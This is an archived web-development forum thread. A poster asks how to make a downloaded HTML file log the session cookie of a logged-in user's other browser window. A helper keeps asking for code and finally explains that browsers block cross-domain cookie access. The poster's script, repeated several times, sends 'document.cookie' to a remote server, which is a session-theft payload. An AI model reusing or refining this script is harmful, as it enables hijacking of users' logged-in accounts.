www.webdeveloper.com
Results 1 to 14 of 14

Thread: <script>document.location=

  1. #1
    Join Date
    Aug 2005
    Posts
    8

    <script>document.location=

    i need some really big help im trying to log a cookie

    the cookie is logged when .html file is downloaded then opened the problem is
    the download is opened in another window so the cookie script isnt logging

    <html>

    <body>

    <script>document.location='http://webserver.com:80/'+document.cookie</script>

    </body>

    </html>

    "document.location"
    its logging the cookie from the location which is a new window
    so there isnt a cookie in the new window

    how do i log the cookie of the other window it was opened from

  2. #2
    Join Date
    Jan 2005
    Location
    Los Angeles, CA
    Posts
    4,887
    Can you show us what your cookie looks like when it is created? It would help if you'd tell us what this returns when there is a cookie present:
    Code:
    <script type="text/javascript">alert(document.cookie)</script>
    in place of this:
    Code:
    <script>document.location='http://webserver.com:80/'+document.cookie</script>
    I hope your cookie isn't a session cookie... Can you show us the code that is being used to create the cookie in the first place?

  3. #3
    Join Date
    Aug 2005
    Posts
    8

    ?

    page 1
    has a download

    you click download it opens page2

    now page 2 tries to log the cookie when its opened

    but i want page 2 log the cookie of page 1( must do this from page 2)

    but i dunno the java function to do this, i only know document.location

    which logs the current cookie in the location

    thanks

    hope this helped
    --------------------------------------

  4. #4
    Join Date
    Jan 2005
    Location
    Los Angeles, CA
    Posts
    4,887

    We need more info than that

    We need to provide an expiration date for your cookie so it doesn't auto-expire at the termination of your browser. If you could spill us some code -- we could fix-up your errors. If you've got a link, give us the link. We cannot fix your error if we don't have the code that is used to create your cookie or even know what data is in your cookie or even if your cookie is a session cookie.

  5. #5
    Join Date
    Aug 2005
    Posts
    8

    k

    its just normail cookie session cookie u know like forums etc..

  6. #6
    Join Date
    Jan 2005
    Location
    Los Angeles, CA
    Posts
    4,887
    I already know that. I need to see your code to work any futher in order to make the corrections. Work with me and at least give me the Hyperlink to your website so I can view the source and fix the error. Even if you spill the full code (of the page creating the cookie) on the table it would be fine.

  7. #7
    Join Date
    Aug 2005
    Posts
    8

    ?

    your not understanding me
    ----------------------
    <html>

    <body>

    <script>document.location='http://webserver:80/'+document.cookie</script>

    </body>

    </html>
    ----------------------------

    this will be in a .html, this is then opened and downloaded in a new window, it trys to log the cookie of the new window (is none)but i want it to log the cookie of the previous window, window 1

    "document.location" i want this part to log cookie from previous window

  8. #8
    Join Date
    Jan 2005
    Location
    Los Angeles, CA
    Posts
    4,887
    Then give me the code that is used to create the cookie from the previous window! Your little script
    Code:
    <script>document.location='http://webserver:80/'+document.cookie</script>
    doesn't tell me anything about the cookie. I need to edit the code on your previous page that is used to create the cookie correctly thus adjusting the expiration time.

    If you don't know what code to give me, at least provide a hyperlink to your website, for the third time!

  9. #9
    Join Date
    Aug 2005
    Posts
    8

    rofl

    ill i want to ****ing know is the java var to log a cookie in the previous window

    i dunno

    document.previous

    or something
    man u do not need to see anything else

  10. #10
    Join Date
    Jan 2005
    Location
    Los Angeles, CA
    Posts
    4,887
    You haven't given us enough information.

    You can't view an expired cookie, because it no longer exists. If you don't provide a date for the cookie to last until, by default the cookie expires as soon as the browser session has ended. You will need to edit the code that is used to create the cookie so it will last longer for the next page to be able to see it. Using a querystring would be a much better method than cookies, in any case, because it doesn't rely on cookies being enabled.

    We ain't required to help you.
    Last edited by Ultimater; 08-08-2005 at 03:02 PM.

  11. #11
    Join Date
    Aug 2005
    Posts
    8

    k

    the cookie wont expire if the customer is still logged in

  12. #12
    Join Date
    Jan 2005
    Location
    Los Angeles, CA
    Posts
    4,887
    Quote Originally Posted by Ultimater
    It would help if you'd tell us what this returns when there is a cookie present:
    Code:
    <script type="text/javascript">alert(document.cookie)</script>
    in place of this:
    Code:
    <script>document.location='http://webserver.com:80/'+document.cookie</script>
    Did you give that a shot so we can see the format of the cookie?

  13. #13
    Join Date
    Aug 2005
    Posts
    8

    see

    How can that work

    there is no cookie in the document its a blank window im trying to get a cookie from another window

    when u download the .html attachment it opens a new window and runs

  14. #14
    Join Date
    Jan 2005
    Location
    Los Angeles, CA
    Posts
    4,887
    If they run the file locally on their computer, then you cannot just simply look at the cookie created because it was created from a different webdomain than which created the cookie. For example yahoo.com cannot look at cookies on your computer created by google.com. Yahoo.com cannot look at cookies created from locally run webpages nor vice-versa.

    The best you can do is make 'em submit a FORM to your server in order to get the information you need from the locally running page.

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  
HTML5 Development Center



Recent Articles